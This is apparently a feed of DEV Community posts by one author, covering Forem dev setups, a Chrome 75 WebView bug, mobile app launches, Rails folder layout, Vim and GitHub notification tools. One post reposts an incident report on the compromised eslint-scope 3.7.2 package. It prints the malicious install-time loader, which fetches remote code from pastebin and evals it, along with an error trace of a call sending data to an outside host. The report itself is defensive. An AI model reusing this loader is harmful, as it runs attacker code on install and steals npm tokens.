DEV Community: Mac Siri

📢 Announcing New Local Dev Setup Options for Contributing to Forem!

Mac Siri — Fri, 22 Sep 2023 00:57:02 +0000

It's almost that time of the year again: Hacktoberfest! The month-long celebration of supporting open-source. If you were ever on the fence or just curious about Forem but lacked the time to properly set up a local development environment, I'm excited to share with you all a few new expedited ways that we cooked up ahead of this event.

Here are a few ways to quickly get started with contributing to DEV:

Github CodeSpace & Gitpod: The absolute fastest way

Both of these tools are cloud development environments. They are good for quickly poking around the codebase and the go-to daily driver tool. Because they are web-based, they have the added benefit of being able to run on any computer, tablet, or even your phone if you want the extra challenge. Both tools are similar and come with free plan hours, so you are free to choose. Our cloud environment comes with all the dependencies installed and the database seeded. Click on one of the options below to get started!

VS Code with Dev Containers

Forem now supports dev containers! This means you can have a flexible containerized development environment with all the required dependencies set up in under 15 minutes on most modern machines. All you need is:

Docker
VS Code with the dev container extension installed
Our Forem repository cloned

Open up your VS Code and use the command in the command palette, Dev Containers: Rebuild and Reopen in Container, and you're ready to go!

Containerized setup with `dip` gem

Want the convenience of containerized setup without having to deal with learning and running Docker commands? dip gem is here to help. The folks at Evil Martians devised this CLI tool that provides a native-like interaction. Once you have Docker installed and our repository cloned:

gem install dip
dip provision to build images and download dependencies
dip rails s to start the server!

The one downside to this method is that it will still rely on your system's Ruby, but the benefits truly outweigh the cons. To see more commands, run dip ls. You are free to use any Code Editor if you go this route (vs being tied to VS Code).

DIY setup aka bare metal

Setting up manually is always an option! If you have a preference or want additional flexibility in the tools for your craft, you are free to set up however you want. Forem does not use dependencies that stray too far off the beaten path, but it won't exactly be trivial if this is your very first Rails app setup. We are revamping this documentation to make this process even more straightforward, so stayed tuned!

We hope that offering these options will smoothen the path of your coding journey. Please let us know if you encounter any issues by opening up a bug issue in our issue queue.

Happy Coding and Happy Hacktoberfest!

Which code coverage tool do you use?

Mac Siri — Tue, 19 Jan 2021 22:51:58 +0000

We here at Forem uses CodeClimate.

Looking to see what you all are using!

Changelog: Status page

Mac Siri — Wed, 24 Jun 2020 12:53:19 +0000

We are happy to announce our status page at https://status.dev.to!

We've been relying solely on our twitter account to communicate our status since the very beginning and now that is changing. Our status page will provide another channel of immediate communication about the status of dev.to to all DEV users and API consumers.

Keep up with our real-time status and metrics at https://status.dev.to!

Microsoft announce the new Surface Neo

Mac Siri — Thu, 03 Oct 2019 17:22:45 +0000

Check out Microsoft's take on a new foldable piece of technology.

What do y'all think?

A Bug in Chrome 75 Caused Random Offline Pages

Mac Siri — Fri, 28 Jun 2019 19:04:10 +0000

Towards the end of May, we started to receive a lot of reports from DEV users that our Android App was giving them an Offline message even when they had an internet connection. Additional reports came in from users trying to access DEV articles from the Facebook in-app browser, the DuckDuckGo browser, and others. This alarmed us, and we immediately set to work to fix the problem. Days went by and we couldn't make any progress on mitigating the issue.

We simply couldn't reproduce the issue at all on my phone or on the emulator.

Since we use webviews within our Android app, this situation was not good for our Google Play Store reviews:

I tunneled-visioned myself into thinking that I could fix the problem if I could just replicate it myself. As soon as I was about to give up and ask for help, I found this bug report.

Starting towards the end of May we started receiving sporadic reader complaints that our app was reporting that certain functionality wasn't available due to the app being offline - when actually being online. We verify connectivity before certain actions by making a network request, and this was failing.

It turns out the bug was caused by an experiment they were conducting in Chrome 75. Depending on the device, WebView would be relying on Chrome 75 and because it is still an experiment, it can happen randomly. To put it simply, if IoThreadClient is null, the web request is aborted, hence the immediate offline page. A soon as they found the cause, they patched it swiftly

Within that bug report, engineers from renowned publications such as LinkedIn and The Financial Times chimed in. They also maintain apps that rely on Service Workers and were similarly frustrated. These apps are collectively utilized by billions of customers and many were quite unhappy. It is an especially damaging bug because their apps did nothing wrong, and were getting hit by a lot of bad ratings and angry reviews.

There are some reports that the issue may still be going on for some, but shout out to the Chromium team for responding so quickly with a fix. The issue has not been closed conclusively but should be soon.

To those of you who might still be experiencing this problem, try clearing the storage/cache our app once or twice, and you should be able to access our app. It may produce a fix, and if not it should hopefully be 100% fixed soon.

Announcing DEV for Android

Mac Siri — Wed, 24 Apr 2019 13:03:26 +0000

The wait is over! We are excited to announce the DEV Community app for Android. Similar to our approach with iOS, we heavily leveraged native shell/web views and will include more native code over time. There are a few known issues but we're excited to have a starting point for future enhancements!

We're also on Product Hunt today. 😊

Please let us know your feedback and suggestions as you start to try out the app. And just like our web app and iOS app, the Android app is open-source!

Contributions by way of issues and PRs are very very welcomed:

forem / DEV-Android

DEV Community Android App

DEV Android 💝

This is the official repository for the dev.to's Android app.

Design ethos

DEV Android is an WebView based application. This application is inspired by Basecamp's approach. We will grow to include more native code over time.

By leveraging webviews as much as possible, we can smoothly sync up with our web dev work. And where it makes sense, we can re-implement certain things fully native, or build entirely native features. Life's a journey, not a destination.

Contributions

We expect contributors to abide by our underlying code of conduct. All conversations and discussions on GitHub (issues, pull requests) and across dev.to must be respectful and harassment-free.

System Requirements

You will need to have Android Studio 3.5 or up installed.

Usage

$ ./gradlew tasks --group=custom
------------------------------------------------------------
Tasks runnable from root project
------------------------------------------------------------

Custom tasks
------------
androidTest - Run android instrumentation tests
hello - Hello World task

…

View on GitHub

forem / DEV-ios

DEV Community iOS App

DEV iOS 💖

This is the repo for the dev.to iOS app.

Status:

Released first version, more info: https://twitter.com/bendhalpern/status/1061323718058786822

Design ethos

We will grow to include more native code over time, but for now we are taking the approach of native shell/web views. This approach lost favor early in iOS days, but I believe it is a very valid approach these days. It is inspired by how Basecamp does things. Our tech stack is a bit different, but the ideas are the same.

https://m.signalvnoise.com/basecamp-3-for-ios-hybrid-architecture-afc071589c25

https://signalvnoise.com/posts/3743-hybrid-sweet-spot-native-navigation-web-content

https://signalvnoise.com/posts/3766-hybrid-how-we-took-basecamp-multi-platform-with-a-tiny-team

https://www.youtube.com/watch?v=SWEts0rlezA

By leveraging wkwebviews as much as possible, I think we can make this all pretty awesome and sync up with our web dev work pretty smoothly. And where it makes sense, we can re-implement certain things fully native, or build entirely native features. Life's a journey, not a destination.

Contributing

Fork and clone the project.
Build and run the project in XCode.
…

View on GitHub

You can still install the app as PWA and we will continue to support various installation paths of DEV.

Happy Coding ❤️

How to best organize a Rails app folder?

Mac Siri — Fri, 19 Oct 2018 19:54:19 +0000

Aside from all the rudimentary folders, we have a few that are generated by gems we use, and then there's the custom folders we've created. It's not obvious sometime what should go where. We have folders called "labor" and "services" which are for plain-old-ruby-objects; We had some purpose to these patterns but it never really materialized. Now it's just confusing.

app
├── assets
├── controllers
├── dashboards (created by administrate gem)
├── decorators (created by draper gem)
├── fields (created by administrate gem)
├── helpers
├── javascript (created by Webpacker gem)
├── labor [** we created **]
├── lib
├── liquid_tags [** we created **]
├── mailers
├── models
├── observers [** we created **]
├── policies (created by Pundit gem)
├── sanitizers [** we created **]
├── services [** we created **]
├── uploads (created by carrierwave gem)
└── views

Or check it out here on GitHub

How do you organize your Rails app folder? Any and all opinionated suggestion welcomed!

Vim won't make you a more productive developer

Mac Siri — Wed, 05 Sep 2018 21:54:06 +0000

Disclaimer: I am playing devil’s advocate. I do believe Vim makes me more efficient with some trade-off, YMMV.

We, as developers, spend a lot of our time on our text editor of choice. Choosing to use Vim, in my opinion, ultimately won't make a huge difference with any other editor. The majority of modern editors are more than capable to handle the task at hand and are much easier to get started with.

You want to use Vim? Sure. After you are vaguely familiar with it, you will dive deep into Vim's ecosystem and soon learn about the variety of flavors Vim comes in and the many ways to manage plugins and configuration. Suddenly need to code in Java? well darn, you'll need to expand your code completion, syntax highlighting, and add additional functions like compilation.

And after going through all of that, would you argue that you emerged out of it a stronger better developer? Or would you say it was all but a distraction and the time spent there could've been spent on coding and learning about other facets of programming?

I use Vim daily and I love it, but it's kind of difficult for me to recommend it because it truly is a time-sink. What the folks rave about is more about Vim-navigation and not Vim itself, and that is easily solved with Vim-mode, which is available in most editors.

whatever this is

So, what's your stance on the general push for vim?

Tools I use to stay on top of Github's notifications

Mac Siri — Mon, 13 Aug 2018 19:45:57 +0000

In order to maintain a lively open source community, it is crucial to stay actively engaged with all issues and pull requests. Everything should be looked at and nothing should be missed, but that is much easier said than done. In the effort to stay on top of it all, here are a few apps that I use to stay sane and efficient.

github-notifications

I like to think of github-notifications as an improved version of the vanilla notification page. The main highlight of this app is that it also provides a comment form. This provides a much better way to get an overview on all unread notifications.

Octobox

Streamlining Github Notification into the email-like interface is an amazing way to manage notifications. Octobox provides multiple filter options along with a native search feature. They've also added an "archive" feature that allows you to hide any completed notifications.

Workona

Ever find yourself opening one GitHub issue right after another and eventually losing track of what you were trying to do? This is a relatively new tool that just came out to address that problem. It has already improved my workflow and reduced distraction. Workona provides a cleaner way to manage tabs — instead of keeping multiple windows open, you can now create "workspaces". So far, I have 3 workspaces: one for general browsing, one dedicated to handling Octobox notifications, and one for production monitoring.

These three tools have helped me a lot. Let me know in the comments if there is anything else I should try.

Virus in eslint-scope 3.7.2

Mac Siri — Thu, 12 Jul 2018 18:04:30 +0000

I came across this issue and figured I shared it here.

Virus in eslint-scope? #39

pronebird posted on Jul 12, 2018

Updated blog post: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes

Update from the maintainers

Incident status report from npm

Please follow the comment by @platinumazure that gives a little insight into what happened: https://github.com/eslint/eslint-scope/issues/39#issuecomment-404533026

It also appears that the same code was published in eslint-config-eslint@5.0.2, which has also since been unpublished. See https://github.com/eslint/eslint/issues/10600 for more information.

In the meantime

Pin the version of eslint-scope to 3.7.1, one way is to add the resolutions to your package.json

  "resolutions": {
    "eslint-scope": "3.7.1"
  }

Verify the dependency version with yarn list eslint-scope. It should print out eslint-scope@3.7.1

Use package-lock.json or yarn.lock and have it in your repo if possible. Do not upgrade to 3.7.2 even if yarn outdated shows that there is a new version available.
Revoke your NPM token as suggested in the comment below https://github.com/eslint/eslint-scope/issues/39#issuecomment-404496856. You can do the same by logging in to https://www.npmjs.com/, selecting the "tokens" menu from the account dropdown and removing all tokens listed on the page. Make sure to recreate the relevant tokens if you hook your NPM to external services.

The issue

I don't know what the hell this is but it looks like a virus to me:

[2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments: 
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^

SyntaxError: Unexpected end of input
    at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
    at emitOne (events.js:116:13)
    at IncomingMessage.emit (events.js:211:7)
    at IncomingMessage.Readable.read (_stream_readable.js:475:10)
    at flow (_stream_readable.js:846:34)
    at resume_ (_stream_readable.js:828:3)
    at _combinedTickCallback (internal/process/next_tick.js:138:11)

The contents of a suspicious file:

try{
    var https=require('https');
    https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
    r.setEncoding('utf8');
    r.on('data',(c)=>{
    eval(c);
    });
    r.on('error',()=>{});
    
    }).on('error',()=>{});
    }catch(e){}

The URL it attempts to load is http://pastebin.com/raw/XLeVP82h

Also it attempts to send my .npmrc somewhere.

This is version 3.7.2 that's been published an hour ago.

View on GitHub

package managers are a surprising medium to spread viruses, especially when the virus is latched onto a dependency of babel-eslint 😱

Hey, have you heard of _____ ?

Mac Siri — Mon, 25 Jun 2018 16:46:50 +0000

-1 : Yeah I think I heard of it? Kubernetes is an Ikea lamp right?
0: No I have not heard of it.
1: No I have not heard of it. Don't tell me about it.
2: No I have not heard of it. What is it?
2: I think I heard of it. Please tell me more.
2.1: I think I heard of it. Please tell me more and invite me to that slack channel.
2.2: I think I heard of it? please tell me more and invite me to both the slack channel and add me as a contributor.
2.3: I think I heard of it? please tell me more and invite me to both the slack channel and add me as a contributor. In fact, I want to know more about you, your life-partner, and everything you hold dear.
3: Yeah I know what that is. I use that in all my projects.
~~4: Yeah I heard of vim, but why the hell would anybody use it as their text editor? what are you, crazy?~~
5: Yeah I heard of it. I don't know how you folks keep up with all these ____.js
6: Yeah I heard of it. Wait, you use that? Don't talk to me or my son ever again.
7: はい。Rubyは、シンプルで生産的なオープンソースの動的プログラミング言語です。エレガントな文法、自然な読書、簡単な文章
8: Yeah, but if you are using that to solve _____, you are doing it wrong.
9: Nods along with a "Mhmm".
???: You bet I heard of it, I wrote that. I am _____ (please follow me on twitter @_____). Now tell me what you had on your mind before realizing that I am the guy that wrote it.

Changelog: Comment Preview

Mac Siri — Tue, 24 Apr 2018 20:10:16 +0000

Gone are the days when you are unsure what your comment will look like after you submit it.

Introducing the long-awaited comment preview feature. Never again will an incorrect markdown go by undetected!

This is also the first dev.to feature built completely through pair programming 😊

If it's wonky or you like to tell us your thoughts, let us know below!

Happy Coding ❤️

DEV Community: Mac Siri

📢 Announcing New Local Dev Setup Options for Contributing to Forem!

Github CodeSpace & Gitpod: The absolute fastest way

VS Code with Dev Containers

Containerized setup with dip gem

DIY setup aka bare metal

Which code coverage tool do you use?

Changelog: Status page

Microsoft announce the new Surface Neo

A Bug in Chrome 75 Caused Random Offline Pages

Announcing DEV for Android

forem / DEV-Android

DEV Community Android App

DEV Android 💝

Design ethos

Contributions

System Requirements

Usage

forem / DEV-ios

DEV Community iOS App

DEV iOS 💖

Status:

Design ethos

Contributing

How to best organize a Rails app folder?

Vim won't make you a more productive developer

Tools I use to stay on top of Github's notifications

github-notifications

Octobox

Workona

Virus in eslint-scope 3.7.2

Virus in eslint-scope? #39

Updated blog post: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes

Update from the maintainers

In the meantime

The issue

Hey, have you heard of _____ ?

Changelog: Comment Preview

Containerized setup with `dip` gem